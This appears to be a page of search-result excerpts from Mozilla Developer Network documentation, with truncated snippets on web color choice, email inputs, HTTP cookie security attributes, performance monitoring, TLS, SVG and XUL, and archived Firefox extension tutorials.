ent unreadable due to problems with contrast or conflicting colors. Worse still, if using the wrong colors can result in your content being outright unusable by people withcertain vision problems, particularly color blindness. Finding the right colors Coming up with just the right colors can be tricky, especially without training in art or design. Fortunately, there are tools available that can help you. While they can't replace having a good designer helping you make these decisions, they can definitely get you started. Base color The first step is to choose your base color. This is the color that in some way defines your website or the subject matter of the site. Just as we associate green with the beverage Mountain Dew and one might think of the color blue in relationship with the sky o...
...ng a website about a given item or product, choose a color that's physically present on that item. Browse websites that let you look at lots of existing color palettes and images to find inspiration. When trying to decide upon a base color, you may find that browser extensions that let you select colors from web content can be particularly handy. Some of these are even specifically designed to help with this sort of work. For example, the website ColorZilla offers an extension (Chrome / Firefox) that offers an eyedropper tool for picking colors from the web. It can also take averages of the colors of pixels in various sized areas or even a selected area of the page. The advantage to averaging colors can be that often what looks like a solid color is actually a surprisingly varied number o...
...o averaging colors can be that often what looks like a solid color is actually a surprisingly varied number of related colors all used in concert, blending to create a desired effect. Picking just one of these pixels can result in getting a color that on its own looks very out of place. Fleshing out the palette Once you have decided on your base color, there are plenty of online tools that can help you build out a palette of appropriate colors to use along with your base color by applying color theory to your base color to determine appropriate added colors. Many of these tools also support viewing the colors filtered so you can see what they would look like to people with various forms of color blindness. See Color and accessibility for a brief explanation of why this matters. A few examp...
...lor theory: Color Science (Khan Academy in association with Pixar) An online course which introduces concepts such as what color is, how it's percieved, and how to use colors to express ideas. Presented by Pixar artists and designers. Color theory on Wikipedia Wikipedia's entry on color theory, which has a lot of great information from a technical perspective. It's not really a resource for helping you with the color sleection process, but is still full of useful information. Color and accessibility There are several ways color can be an accessibility problem. Improper or careless use of color can result in a website or app that a percentage of your target audience may not be able to use adequately, resulting in lost traffic, lost business, and possibly even a public relations problem...
<input type="email"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › email
pper limit on the length of the input data, use the maxlength attribute. Using email inputs E-mail addresses are among the most frequently-inputted textual data forms on the web; they're used when logging into web sites, when requesting information, to allow order confirmation, for webmail, and so forth. As such, the email input type can make your job as a web developer much easier since it can help simplify your work when building the user interface and logic for e-mail addresses. When you create an email input with the proper type value, email, you get automatic validation that the entered text is at least in the correct form to potentially be a legitimate e-mail address. This can help avoid cases in which the user mistypes their address, or provides an invalid address. It's important, ho...
... Note: When multiple is used, the value is allowed to be empty. Some examples of valid strings when multiple is specified: "" "me@example" "me@example.org" "me@example.org,you@example.org" "me@example.org, you@example.org" "me@example.org,you@example.org, us@example.org" Some examples of invalid strings: "," "me" "me@example.org you@example.org" Placeholders Sometimes it's helpful to offer an in-context hint as to what form the input data should take. This can be especially important if the page design doesn't offer descriptive labels for each <input>. This is where placeholders come in. A placeholder is a value that demonstrates the form the value should take by presenting an example of a valid value, which is displayed inside the edit box when the element's value is "...
... e-mail address," you can use the pattern attribute to specify a regular expression the value must match for it to be valid. If the multiple attribute is specified, each individual item in the comma-delineated list of values must match the regular expression. For example, let's say you're building a page for employees of Best Startup Ever, Inc. which will let them contact their IT department for help. In our simplified form, the user needs to enter their e-mail address and a message describing the problem they need help with. We want to ensure that not only does the user provide a valid e-mail address, but for security purposes, we require that the address be an internal corporate e-mail address. Since inputs of type email validate against both the standard e-mail address validation and the ...
...a Best Startup Ever corporate e-mail address" By doing that, the resulting full error message might be something like "The entered text doesn't match the required pattern. Please provide only a Best Startup Ever corporate e-mail address." Note: If you run into trouble while writing your validation regular expressions and they're not working properly, check your browser's console; there may be helpful error messages there to aid you in solving the problem. Examples Here we have an email input with the ID emailAddress which is allowed to be up to a maximum of 256 characters long. The input box itself is physically 64 characters wide, and displays the text user@example.gov as a placeholder anytime the field is empty. In addition, by using the multiple attribute, the box is configured to al...
Using HTTP cookies - HTTP
Web › HTTP › Cookies
fied by the Max-Age attribute. For example: Set-Cookie: id=a3fWa; Expires=Wed, 31 Oct 2021 07:28:00 GMT; Note: When an Expires date is set, the time and date set is relative to the client the cookie is being set on, not the server. If your site authenticates users, it should regenerate and resend session cookies, even ones that already exist, whenever the user authenticates. This technique helps prevent session fixation attacks, where a third party can reuse a user's session. Restrict access to cookies There are a couple of ways to ensure that cookies are sent securely and are not accessed by unintended parties or scripts: the Secure attribute and the HttpOnly attribute. A cookie with the Secure attribute is sent to the server only with an encrypted request over the HTTPS protocol, n...
... access to sensitive information in cookies; for example, it can be read by someone with access to the client's hard disk. A cookie with the HttpOnly attribute is inaccessible to the JavaScript Document.cookie API; it is sent only to the server. For example, cookies that persist server-side sessions don't need to be available to JavaScript, and should have the HttpOnly attribute. This precaution helps mitigate cross-site scripting (XSS) attacks. Here is an example: Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2021 07:28:00 GMT; Secure; HttpOnly Define where cookies are sent The Domain and Path attributes define the scope of the cookie: what URLs the cookies should be sent to. Domain attribute The Domain attribute specifies which hosts are allowed to receive the cookie. If unspecified, it d...
...the scope of the cookie: what URLs the cookies should be sent to. Domain attribute The Domain attribute specifies which hosts are allowed to receive the cookie. If unspecified, it defaults to the same origin that set the cookie, excluding subdomains. If Domain is specified, then subdomains are always included. Therefore, specifying Domain is less restrictive than omitting it. However, it can be helpful when subdomains need to share information about a user. For example, if Domain=mozilla.org is set, then cookies are available on subdomains like developer.mozilla.org. Path attribute The Path attribute indicates a URL path that must exist in the requested URL in order to send the Cookie header. The %x2F ("/") character is considered a directory separator, and subdirectories match as well. ...
...ments such as: Notifying users that your site uses cookies. Allowing users to opt out of receiving some or all cookies. Allowing users to use the bulk of your service without receiving cookies. There may be other regulations governing the use of cookies in your locality. The burden is on you to know and comply with these regulations. There are companies that offer "cookie banner" code that helps you comply with these regulations. Other ways to store information in the browser Another approach to storing data in the browser is the Web Storage API. The window.sessionStorage and window.localStorage properties correspond to session and permanent cookies in duration, but have larger storage limits than cookies, and are never sent to a server. More structured and larger amounts of data can ...
Performance Monitoring: RUM vs synthetic monitoring - Web Performance
ing is WebPageTest.org. It is done in a controlled environment where variable like geography, network, device, browser, and cached status are predetermined. It provides waterfall charts for every asset served by the host and CDN as well as every third party asset and asset requests generated by all third party scripts, such as ads and analytic services. Controlling for environmental variables is helpful in understanding where performance bottlenecks have been occurring and identifying the source of any performance issues. For example, but it isn't reflective of the actual experience of users, especially the long tail. Synthetic monitoring can be an important component of regression testing and production site monitoring. Test the site at every stage of development and regularly in production...
...he actual experience of users, especially the long tail. Synthetic monitoring can be an important component of regression testing and production site monitoring. Test the site at every stage of development and regularly in production. Changes from baseline performance as part of continuous integration should fail a push. If an issue arises in production, synthetic monitoring can provide insight, helping identify, isolate, and resolve problems before they negatively user experience. Real User Monitoring Real User Monitoring or RUM measures the performance of a page from real users' machines. Generally, a third party script injects a script on each page to measure and report back on page load data for every request made. This technique monitors an application's actual user interactions. In re...
...onitoring Real User Monitoring or RUM measures the performance of a page from real users' machines. Generally, a third party script injects a script on each page to measure and report back on page load data for every request made. This technique monitors an application's actual user interactions. In real user monitoring, the browsers of real users report back performance metrics experienced. RUM helps identify how an application is being used, including the geographic distribution of users and the impact of that distribution on the end user experience. Unlike Synthetic monitoring, RUM captures the performance of actual users regardless of device, browser, network or geographic location. As users interact with an application, all performance timings are captured, regardless of what actions a...
...rketing team. This is particularly important for large sites or complex apps, where the functionality or content is constantly changing, and where the population accessing the application may differ greatly in life experiences from those creating it. By leveraging RUM, a business can better understand its users and identify the areas on its site that require the most attention. Moreover, RUM can help to understand the geographic or channel distribution trends of your users. Knowing your user trends helps you better define your business plan and, from a monitoring perspective, allows you to identify key areas to target for optimization and performance improvements. RUM v Synthetic Synthetic is well suited for catching regressions during development life cycles, especially with network thrott...
Privacy, permissions, and information security
Fingerprinting is a technique used to gather a variety of information that's made available by a user's browser and collating it until it becomes possible to uniquely identify that user's browser. Even seemingly innocuous information can in principle be used in the fingerprinting process, though the more unique the information is to the particular device the better. Modern browsers take steps to help prevent fingerprinting-based attacks by either not allowing information to be accessed or, where the information must be made available, by introducing variations that prevent it from being used for identification purposes. For example, if a web site queries a user's browser for the elapsed time, a comparison of that time to the time as reported by the server might be useful as a factor in finge...
...f a web site queries a user's browser for the elapsed time, a comparison of that time to the time as reported by the server might be useful as a factor in fingerprinting. Because of this, browsers typically introduce a small amount of variability to timers in order to make them less useful for identifying the user's system. Privacy and security controls There are multiple layers of controls for helping to protect users against security and privacy breaches. These start at the web server, include the very communication layer used over the network, and then extend through the web browser's security offerings before reaching your web app code and the efforts it takes to secure itself and the data the user entrusts to it. There are several web technologies and features at play to manage privac...
...manage privacy and security. The following list includes features affecting both, since many of these features are used for both. ...
...e Sockets Layer (SSL) TLS provides security and privacy by encrypting data during transport over the network. This is the technology behind the HTTPS (HyperText Transport Protocol Secured) protocol Not all of these are generally directly used within code; notably, the Permissions API, Feature Policy, and the allow attribute on <iframe> elements are primary tools directly used by code to help secure a site and its content. Keeping personal data safe Managing site permissions Bringing it all together <using Feature Policy with permissions and so forth; how to use them together, how they interact, etc> Permission requests in <iframe> elements Things can get tricky when your web app uses the <iframe> element to embed content from another site inside your own, especially if the docu...
SVG documentation index - SVG: Scalable Vector Graphics
Web › SVG › Index
sub-page to this page. 11 SVG 1.1 Support in Firefox Firefox, SVG You can find some basic examples of SVG syntax and usage in the W3C SVG test suite. 12 SVG 2 support in Mozilla Firefox, SVG SVG 2 is the next major version of the SVG standard, which is a complete rework of the SVG 1.2 draft. 13 SVG Attribute reference Drawing, Landing, NeedsHelp, Overview, Responsive Design, SVG, SVG Attribute, SVG Reference, Vector Graphics SVG elements can be modified using attributes that specify details about exactly how the element should be handled or rendered. 14 SVG Conditional Processing Attributes Intermediate, NeedsExample, Property, Reference, SVG The SVG conditional processing attributes are all the attributes that...
...at, in the initial coordinate system, the positive z-axis comes out towards the person viewing the content and assuming that one unit along the z-axis equals one unit in x and y. 269 zoomAndPan Deprecated, SVG, SVG Attribute The zoomAndPan attribute specifies whether the SVG document can be magnified and panned. 270 SVG Tutorial Intermediate, NeedsContent, NeedsHelp, NeedsUpdate, SVG, SVG:Tutorial Scalable Vector Graphics, SVG, is a W3C XML dialect to mark up graphics. It is partially implemented in Firefox, Opera, WebKit browsers, Internet Explorer and other browsers. 271 Basic Transformations Intermediate, SVG, SVG:Tutorial Now we're ready to start distorting our beautiful images. But first, let's formally introduce the <g> eleme...
... SVG, SVG:Tutorial Scalable Vector Graphics, SVG, is a W3C XML dialect to mark up graphics. It is partially implemented in Firefox, Opera, WebKit browsers, Internet Explorer and other browsers. 271 Basic Transformations Intermediate, SVG, SVG:Tutorial Now we're ready to start distorting our beautiful images. But first, let's formally introduce the <g> element. With this helper, you can assign properties to a complete set of elements. Actually, that's its only purpose. An example: 272 Basic shapes Beginner, SVG, SVG:Tutorial There are several basic shapes used for most SVG drawing. The purpose of these shapes is fairly obvious from their names. Some of the parameters that determine their position and size are given, but an element reference would ...
...sc> element provides an accessible, long-text description of any SVG container element or graphics element. 308 <discard> Element, NeedsExample, Reference, SVG, SVG Animation The <discard> SVG element allows authors to specify the time at which particular elements are to be discarded, thereby reducing the resources required by an SVG user agent. This is particularly useful to help SVG viewers conserve memory while displaying long-running documents. 309 <ellipse> Element, Reference, SVG, SVG Graphics The <ellipse> element is an SVG basic shape, used to create ellipses based on a center coordinate, and both their x and y radius. 310 <feBlend> Element, SVG, SVG Filter The <feBlend> SVG filter primitive composes two objects together ru...
Transport Layer Security - Web security
The Mozilla Operations Security (OpSec) team maintains a wiki entry with reference configurations for servers. The Transport Layer Security (TLS) protocol is the standard for enabling two networked applications or devices to exchange information privately and robustly. ...
...e used on top of any low-level transport protocol, the original goal of the protocol was to encrypt HTTP traffic. HTTP encrypted using TLS is commonly referred to as HTTPS. TLS-encrypted web traffic is by convention exchanged on port 443 by default, while unencrypted HTTP uses port 80 by default. HTTPS remains an important use case for TLS. HTTP over TLS TLS provides three primary services that help ensure the safety and security of data exchanged with it: Authentication Authentication lets each party to the communication verify that the other party is who they claim to be. Encryption Data is encrypted while being transmitted between the user agent and the server, in order to prevent it from being read and interpreted by unauthorized parties. Integrity TLS ensures that between encryp...
...Configuring your server Correctly configuring your server is crucial. In general, you should try to limit cipher support to the newest ciphers possible which are compatible with the browsers you want to be able to connect to your site. The Mozilla OpSec guide to TLS configurations provides more information on recommended configurations. ...
...he privacy of client certificates, the encryption of the TLS 1.3 handshake ensures that client certificates are encrypted; however this might require some software changes. Reactive client authentication using certificates is supported by TLS 1.3 but not widely implemented. Alternative mechanisms are in the process of being developed, which will also support HTTP/2. Retiring old TLS versions To help with working towards a more modern, more secure web, TLS 1.0 and 1.1 support will be removed from all major browsers in Q1 2020. You'll need to make sure your web server supports TLS 1.2 or 1.3 going forward. From version 74 onwards, Firefox will return a Secure Connection Failed error when connecting to servers using the older TLS versions (bug 1606734). TLS handshake timeout values If the TL...
Tutorials
These resources are created by forward-thinking companies and web developers who have embraced open standards and best practices for web development and that provide or allow translations, through an open content license such as Creative Commons. ...
...eps left off -- now you've gained familiarity with the language and its syntax, and got some basic experience with using it, its time to dive a bit deeper. This module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling backgrounds and borders, debugging, and lots more. The aim here is to provide you with a toolkit for writing competent CSS and help you understand all the essential theory, before moving on to more specific disciplines like text styling and CSS layout. Styling text Here we look at text styling fundamentals, including setting font, boldness, and italics, line and letter spacing, and drop shadows and other text features. We round off the module by looking at applying custom fonts to your page, and styling lists and links. ...
...cks In this module, we continue our coverage of all JavaScript's key fundamental features, turning our attention to commonly-encountered types of code block such as conditional statements, loops, functions, and events. You've seen this stuff already in the course, but only in passing -- here we'll discuss it all explicitly. Getting started with JavaScript What is JavaScript and how can it help you? Codecademy Codecademy is an easy way to learn how to code JavaScript. It's interactive and you can do it with your friends. freeCodeCamp freeCodeCamp teaches a variety of languages and frameworks for web development. It also has a forum, an internet radio station, and a blog. Intermediate level Introducing JavaScript objects In JavaScript, most things are objects, from core Ja...
...vaScript features like strings and arrays to the browser APIs built on top of JavaScript. You can even create your own objects to encapsulate related functions and variables into efficient packages. The object-oriented nature of JavaScript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you. Here we teach object theory and syntax in detail, look at how to create your own objects, and explain what JSON data is and how to work with it. Client-side web APIs When writing client-side JavaScript for websites or applications, you won't go very far before you start to use APIs -- interfaces for manipulating different aspects of the browser and operating system the site is running on, ...
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
download a file with all the source code examples from: FIXME: Attache the translated tarball - Paul Task !. XUL display methods XUL is used almost exclusively in Mozilla applications like Firefox and Thunderbird, and extensions for them, but other web browsers based on Firefox or the Gecko engine, and even web-based content also used XUL. For example, there is the Mozilla Amazon Browser, which helps with shopping at Amazon, and the Presentation Method in XUL, a tool for writing and displaying presentations To try out the code samples in this chapter, save them as text files with .xul extensions and drag and drop them into the Firefox browser window. FIXME: Explain how setting this option and use next listings If we want to run Firefox displaying none of its GUI and only the contents of a...
...ll display some number of buttons at its bottom. As shown in Table 1, there are four types of buttons that can be displayed, and you can set the names of the buttons you want to display as a comma-delimited list in the value of the buttons attribute. FIXME: Make the table cleaner Button name Description accept The OK button. cancel The cancel button. help The help button. disclosure Either a disclosure triangle or a button. This is used to allow the user to toggle the display of additional information. Table 1: Types of buttons that can be displayed in the dialog element Additionally, there are two special button names, extra1 and extra2. The labels for these buttons are set using the buttonlabelextra1 and buttonlabelextra2...
... and place it in the same folder as the XUL document. Using the icon attribute instead of the image attribute allows you to display buttons with icons that are standard for the platform. Possible values for the icon attribute are given in Table 2. Figure 8: A button with an image icon attribute value icon attribute value accept close cancel print help add open remove save refresh find go-forward clear go-back yes properties no select-font apply select-color Table 2: Values for the icon attribute Toolbar buttons The toolbarbutton element is the element used to define toolbar buttons. This is typically placed inside a toolbar element, which defines a ...
Mozilla Documentation Roadmap - Archive of obsolete content
finding it and turning it into useful information can be a daunting task. Knowing where to look is critical and non trivial. This tutorial was aimed at compiling all the right resources for extension development and putting them in the right context, but there's much more to learn, and knowing how to find it is part of what we felt was necessary to teach. Let's look into the resources that have helped us the most. The Mozilla Developer Center This is the official and most extensive guide to everything related to Mozilla. MDC is where this tutorial is hosted, and where most of its links point to. It encompasses Firefox, other Mozilla products, Javascript, CSS, XUL, web and extension development guidelines, accessibility, usability, best practices... The list goes on. It's incredibly compreh...
...guide to everything related to Mozilla. MDC is where this tutorial is hosted, and where most of its links point to. It encompasses Firefox, other Mozilla products, Javascript, CSS, XUL, web and extension development guidelines, accessibility, usability, best practices... The list goes on. It's incredibly comprehensive, and its underlying Wiki technology makes it easy to expand and evolve with the help of the community. Having said that, there are a few problems with it. First of all, the in-site search is not reliable, so we recommend using a search engine like Google, with queries such as "MDC Javascript Code Modules" or "Javascript code modules site:developer.mozilla.org". Secondly, there are several important articles that are very lacking in information, like the Preferences System page. ...
...receive it by email if you prefer that. Posts on about:mozilla also make it to Planet Mozilla. The Mozilla Add-ons Blog. This blog is maintained by the Add-ons Team at Mozilla, and it's a great way to stay up to date with AMO development and add-on review policies. This blog is also part of Planet Mozilla. IRC and newsgroups Mozilla developers use their IRC channels heavily. There are several help and development channels where you can discuss problems and other topics in real time with the people that have the answers. You'll need an IRC client in order to do this, and the Chatzilla extension works well for this purpose. Problems using IRC include: finding help when you have a big timezone difference with the United States, and no records of previously asked questions and their answers. ...
Setting Up a Development Environment - Archive of obsolete content
r, a source control system, and a build system. In regards to code editing, there's no official Mozilla IDE. On the other hand, extensions use the same (or similar) languages that are used for web development, so most text editors and IDEs are up to the task. Most XUL tools and plugins you'll find online are merely templates that generate the folder structure for the project, and that's not much help. We recommend Komodo Edit. It's free, open source, and cross-platform. It's based on the Mozilla XULRunner platform, so it has support for some of the particularities in Firefox extension development. Komodo Edit has automatic completion for XUL tags and attributes, and it supports Mozilla's CSS extensions (CSS values and properties beginning with "-moz"). It has an add-on system similar to the ...
... based on the Mozilla XULRunner platform, so it has support for some of the particularities in Firefox extension development. Komodo Edit has automatic completion for XUL tags and attributes, and it supports Mozilla's CSS extensions (CSS values and properties beginning with "-moz"). It has an add-on system similar to the one in Firefox, and there are some Komodo extensions that provide additional help in extension development. That is more than what you can get with most other editors, so we recommend you to give it a try. All of our examples are handled with Komodo Edit, so if you see a .kpf or .komodoproject file in an example you download, this is a Komodo project file. We recommend Git and GitHub for source control, but any decent software configuration management system will do. To pa...
...ir responses. It allows you to cancel them and even replace payload data before it is sent. There are several similar extensions, such as Live HTTP Headers, but Tamper Data is the one that we use the most. We'll cover more on HTTP debugging later on. Firebug The Firebug extension includes pretty much all tools mentioned so far, but it's mostly focused on web development. The Chromebug extension helps in making Firebug more useful for extension development, but it may still not be powerful enough to replace all of the previously mentioned add-ons. On the other hand, Firebug has a very friendly, integrated user interface, and sees much more development that its counterparts. It's definitely worth a try. Leak Monitor Memory leaks have always been a big criticism drawn against Firefox. Mozill...
Index of archived content - Archive of obsolete content
BrowserApp addTab closeTab deck getBrowserForDocument getBrowserForWindow getTabForBrowser getTabForId getTabForWindow loadURI quit selectTab tabs HelperApps.jsm Home.jsm banner panels HomeProvider.jsm HomeStorage NativeWindow contextmenus doorhanger menu...
...g Firefox Style System Overview Using microformats Firefox Sync Code snippets JavaScript Client API Syncing custom preferences Force RTL GRE GRE Registration Gecko Coding Help Wanted HTTP Class Overview Hacking wiki Help Viewer Creating a Help Content Pack Helper Apps (and a bit of Save As) Hidden prefs How to Write and Land Nanojit Patches IO Guide/Directory Keys Introducing the Audio API extension Isp Data Java...
... Writing JavaScript for XHTML XForms Building Mozilla XForms Community Developing Mozilla XForms Implementation Status Mozilla XForms Specials Mozilla XForms User Interface XForms Alert Element XForms Group Element XForms Help Element XForms Hint Element XForms Input Element XForms Label Element XForms Message Element XForms Output Element XForms Range Element XForms Repeat Element XForms Secret Element XForms Select Element XForms Select1 Element XForms Submit Elemen...
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
owser browser contains all the toolbar icons, as well as the icons for the bookmark manager and the preferences window. skin\classic\communicator Doesn't do a whole lot and can typically be forgotten about promptly. skin\classic\global global contains almost all of the important CSS files that define the appearance of the browser. This is the most critical directory in a theme. skin\classic\help help contains all the files for theming the help dialog window. skin\classic\mozapps mozapps contains all the styles and icons for the browser peripherals, such as the extension manager or update wizard. Install Your New Theme Before you can see the changes you make to a Firefox theme (since live edits are restrictively difficult to set up) you must first learn how to repackage the classic ...
... you must first learn how to repackage the classic theme to make it installable. For the sake of this discussion we will call your theme "My_Theme", though you can replace that with any name. Copying The Necessary Files The first step is to move all the files into the right directory structure. So create a new directory called My_Theme. Into this directory put the browser, global, communicator, help, and mozapps directories from above, as well as the icon.png and preview.png files. (Yes, this means that the structure of your new directory and classic.jar will be slightly different.) Creating the Install Files Contents.rdf Make a copy of contents.rdf, place it in \My_Theme and open it up in your text editor. This file is a small XML Database which is used to describe the skin. In the code...
... the normal button in its basic state (There is no mouse over it, it's not disabled, and it's not selected). Change the background-color: to DarkBlue and the color: to White, and save the file. Repackaging JAR Now all you need to do is repackage a JAR file with the following directory structure, using your favorite archive manager to create a zip archive: /browser/* /communicator/* /global/* /help/* /mozapps/* /contents.rdf /install.rdf /icon.png /preview.png Make sure not to just zip up the My_Theme parent directory since that will cause the drag and drop install in the next section to fail without error messages. Once you have put the files in the zip folder, rename it to My_Theme.jar Triggering the install from the web To install the theme's JAR file directly from the web, you nee...
Running Tamarin acceptance tests - Archive of obsolete content
reason: 2531 running abcasm/adhoc.abs skipping... reason: inconsistencies in different debug output, need to implement regex matching of diffs 2527 running abcasm/branchToCommon.abs 2530 running abcasm/arithmetic.abs 2529 running abcasm/bkpt.abs 2528 running abcasm/bkptline.abs 2526 running abcasm/bug_476556.abs 2524 running abcasm/bug_491056.abs ... test run PASSED! Tes...
...556.abs 2524 running abcasm/bug_491056.abs ... test run PASSED! Tests complete at 2010-09-28 10:39:26.751797 Start Date: 2010-09-28 10:38:07.221457 End Date : 2010-09-28 10:39:26.751797 Test Time : 0:01:19.530340 passes : 59291 failures : 0 expected failures : 75 tests skipped : 76 The -f flag tells runtests.py to force recompilation of all the scripts. For help on runtests.py options, see below or use python runtests.py -h. Notes on using acceptance runtests.py Threading In order to speed up the execution time of the acceptance testsuite, the runtests script automatically detects the number of cores on the machine and sets an equivalent number of threads. This can be overrided with the threads flag: python ./runtests.py --threads=3 Threading on cygwin ...
...oke runtests using that python executable in cygwin. The locations of AVM, ASC, BUILTINABC and SHELLABC must also be defined using windows paths (replace backslashes [\] with forward slashes [/]): export AVM=c:/location/of/avmshell.exe export ASC=c:/location/of/asc.jar ... c:/Python26/python.exe ./runtests.py --threads=3 Other flags of interest (For a list of all flags, run runtests.py with -h/--help) --nohtml : will suppress the creation of an html output file --rebuildtests : will only rebuild test .abc's, will not attempt to run them. Can also be using in conjunction with --threads -f --forcerebuild force rebuild all test files -q --quiet : will print a period (.) for each test run regardless of results, then print the test run summary when finished --ascargs= : additional arguments to pa...
Attribute (XUL) - Archive of obsolete content
afterselected align allowevents allownegativeassertions alternatingbackground alwaysopenpopup attribute autoCheck autocompleteenabled autocompletepopup autocompletesearch autocompletesearchparam autoFill autoFillAfterMatch autoscroll beforeselected buttonaccesskeyaccept buttonaccesskeycancel buttonaccesskeydisclosure buttonaccesskeyextra1 buttonaccesskeyextra2 buttonaccesskeyhelp buttonalign buttondir buttondisabledaccept buttonlabelaccept buttonlabelcancel buttonlabeldisclosure buttonlabelextra1 buttonlabelextra2 buttonlabelhelp buttonorient buttonpack buttons checked checkState clicktoscroll class closebutton closemenu coalesceduplicatearcs collapse collapsed color cols command commandupdater completedefaultindex container containment conten...
...eautoselect disableclose disabled disablehistory disableKeyNavigation disablesecurity dlgtype dragging editable editortype element empty emptytext Deprecated since Gecko 2 enableColumnDrag enablehistory equalsize eventnode events expr firstdayofweek firstpage first-tab fixed flags flex focused forceComplete grippyhidden grippytooltiptext group handleCtrlTab height helpURI hidden hidechrome hidecolumnpicker hideheader hideseconds hidespinbuttons highlightnonmatches homepage href icon id ignoreBlurWhileSearching ignorecase ignoreincolumnpicker ignorekeys image inactivetitlebarcolor increment index inputtooltiptext insertafter insertbefore instantApply inverted iscontainer isempty key keycode keytext label lastpage lastSelected l...
...nheight minResultsForPopup minwidth mode modifiers mousethrough movetoclick multiline multiple name negate newlines next noautofocus noautohide noinitialfocus nomatch norestorefocus object observes onbeforeaccept onbookmarkgroup onchange onclick onclosetab oncommand oncommandupdate ondialogaccept ondialogcancel ondialogclosure ondialogextra1 ondialogextra2 ondialoghelp onerror onerrorcommand onextra1 onextra2 oninput onload onnewtab onpageadvanced onpagehide onpagerewound onpageshow onpaneload onpopuphidden onpopuphiding onpopupshowing onpopupshown onsearchcomplete onselect ontextcommand ontextentered ontextrevert ontextreverted onunload onwizardback onwizardcancel onwizardfinish onwizardnext open ordinal orient pack pageid page...
Creating a Wizard - Archive of obsolete content
Each page contains a single question or a set of related questions. After the last page, the operation is carried out. XUL provides a wizard element which can be used to create wizards. Attributes placed on the wizard are used to control the wizard navigation. When creating a wizard, use the wizard tag instead of the window tag. ...
...Each page contains a single question or a set of related questions. After the last page, the operation is carried out. XUL provides a wizard element which can be used to create wizards. Attributes placed on the wizard are used to control the wizard navigation. When creating a wizard, use the wizard tag instead of the window tag. ...
...e, much like one would use for regular windows. The navigation buttons are created automatically. ...
XULRunner Hall of Fame - Archive of obsolete content
ox extension). Latest Release 0.5 Febuary 2010 - Source DAIM (fr) / DAIM (English) superb tool for image analysis build on top of a professional imagelib. Echofon for Windows A Twitter client. eMusic Remote The eMusic Remote makes downloading from eMusic a snap. Latest release: 1.0.0.2 March 2009 - Source FindThatFont! Font managing tool for Windows and Linux, that helps you find the font you're looking for. Latest release December 2007 Flickr Uploadr 3.0 Upload your photos to Flickr. Source Google AdWords Editor AdWords Editor is Google's free, downloadable account management application for your computer. Latest release 7.6.1 January 2010 - XULRunner Patches Lotus Notes / Sametime The latest version of IBM Lotus Notes and Sametime can e...
...vailable in Matthew Kastor's XULRunner examples at https://github.com/matthewkastor/XULRunner-Examples/ Exch A currency conversion tool using updated data from http://finance.yahoo.com/currency. You can use the Firefox extension or the stand-alone XUL application. OpenDocument Viewer Cross-platform viewer for OpenDocument files. TaskPool TaskPool is a little application to help keep track of time. You can add tasks to a pool, turn them on and off, and it will tick off seconds. SVGclock An SVG-based clock. Crowbar A web scraping environment based on the use of a server-side headless mozilla-based browser. 30b A XULRunner-based wrapper for 30boxes.com XUL Explorer "a lightweight XUL IDE... an easy way to experiment with XUL" XULExplorer...
...that uses XULrunner DOM to implement the widgets and event handling. ...
Introduction to Public-Key Cryptography - Archive of obsolete content
t will be used. In general, before issuing a certificate, the CA must use its published verification procedures for that type of certificate to ensure that an entity requesting a certificate is in fact who it claims to be. The certificate issued by the CA binds a particular public key to the name of the entity the certificate identifies (such as the name of an employee or a server). Certificates help prevent the use of fake public keys for impersonation. Only the public key certified by the certificate will work with the corresponding private key possessed by the entity identified by the certificate. In addition to a public key, a certificate always includes the name of the entity it identifies, an expiration date, the name of the CA that issued the certificate, a serial number, and other in...
...hat rely on passwords or other forms of authentication. Object Signing Communicator supports a set of tools and technologies called object signing. Object signing uses standard techniques of public-key cryptography to let users get reliable information about code they download in much the same way they can get reliable information about shrink-wrapped software. Most importantly, object signing helps users and network administrators implement decisions about software distributed over intranets or the Internet-for example, whether to allow Java applets signed by a given entity to use specific computer capabilities on specific users' machines. The "objects" signed with object signing technology can be applets or other Java code, JavaScript scripts, plug-ins, or any kind of file. The "signatur...
...um operational flexibility, interactions with end entities can be separated from the other functions of a CA and handled by a separate service called a Registration Authority (RA). An RA acts as a front end to a CA by receiving end entity requests, authenticating them, and forwarding them to the CA. After receiving a response from the CA, the RA notifies the end entity of the results. RAs can be helpful in scaling an PKI across different departments, geographical areas, or other operational units with varying policies and authentication requirements. Original Document Information Author(s): Ella Deon Lackey Last Updated Date: 2012 Copyright Information: (C) 2012 Red Hat, Inc. Link: Red Hat Certificate System Common Criteria Certification 8.1: Deployment, Planning, and Installation ...
Sunbird Theme Tutorial - Archive of obsolete content
graphic. You normally make these after you have designed the rest of your theme. Make an image file 32 by 32 pixels, and save it as <tt>icon.png</tt> in your theme directory. Make an image file about 200 by 100 pixels, and save it as <tt>preview.png</tt> in your theme directory. Adding other components Your theme only modifies the calendar component. ...
...To understand the user interface provided by these other components, unpack the other jar files. Packaging your theme You can package your theme and make it available on a web site for other users to download and install. ...
...To understand the user interface provided by these other components, unpack the other jar files. Packaging your theme You can package your theme and make it available on a web site for other users to download and install. ...
XForms Custom Controls - Archive of obsolete content
l inherit from these base bindings. For example, every output control implementation extends the base binding xforms.xml#xformswidget-output-base. The XHTML-specific pieces of our implementation of output is kept in the xforms-xhtml.xml#xformswidget-output binding. If you would like to do this kind of heroic work then please contact the Mozilla XForms developers before you start. Hopefully we can help you avoid a lot of frustration and despair :). Overview The Mozilla XForms controls are largely implemented using XBL and the bindings are applied to the individual xforms control tags via CSS. So you can always refer to our source code to get some great examples of how XForms controls can be written. This will also allow you to be up to date with our current approaches (often the result of hard-...
...ir :). Overview The Mozilla XForms controls are largely implemented using XBL and the bindings are applied to the individual xforms control tags via CSS. So you can always refer to our source code to get some great examples of how XForms controls can be written. This will also allow you to be up to date with our current approaches (often the result of hard-learned lessons) and that will hopefully help you to more easily write your own controls. To get started, you really only need to know the language where you'd like to use XForms (like XHTML or XUL), some XBL and JavaScript, and the XPCOM interfaces we are exposing for your use. Details Interfaces This section describes interfaces you need to know. There are two main groups of interfaces -> callback interfaces that must be implemented by the...
